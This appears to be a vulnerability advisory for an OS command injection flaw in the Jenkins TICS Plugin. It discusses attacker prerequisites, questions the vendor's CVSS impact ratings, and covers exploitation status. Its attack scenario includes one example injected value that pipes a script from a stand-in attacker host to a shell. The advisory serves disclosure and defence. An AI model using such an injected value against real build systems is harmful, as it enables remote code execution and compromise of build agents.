Jenkins TICS Plugin CVE-2026-84675

The attacker must hold a Jenkins account with sufficient permissions to control build environment variable values - this includes users who can edit job configurations, trigger parameterized builds with custom variable inputs, or inject variables through other Jenkins mechanisms (shared libraries, global properties if writable). The Jenkins TICS Plugin must be installed and active in at least one build job that the attacker can trigger or influence. Exploitation is limited to users with at least PR:L access - anonymous or unauthenticated users cannot exploit this flaw. Commands execute on the build agent (which may be a different host from the Jenkins controller), not the controller itself, bounding the direct impact to agent-level compromise.

The vendor-assigned CVSS 7.4 vector (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L) requires low privilege but no other special complexity. However, the C:L/I:L/A:L impact ratings appear inconsistent with arbitrary OS command injection, which typically yields full compromise of the execution context - C:H/I:H/A:H on the affected agent is the more defensible assessment; this discrepancy should be verified with the Jenkins security team. SSVC classifies exploitation as none (no observed active exploitation), automatable as no (requires a configured build context with attacker-controlled env vars), and technical impact as partial - collectively indicating moderate urgency despite the injection primitive. No public exploit code exists and the CVE is absent from CISA KEV. Real-world priority is elevated in multi-tenant Jenkins instances where untrusted users can configure jobs or set parameterized build variables, and lower in tightly controlled single-team environments.

An authenticated Jenkins user with job-configuration or parameterized-build rights sets a build environment variable to a value containing shell metacharacters (e.g., legitimate_value; curl attacker.com/shell.sh | sh). When the TICS plugin incorporates this variable into an OS command during the build, the injected shell payload executes on the build agent under the agent process's OS user account, potentially granting the attacker persistent access to the agent host.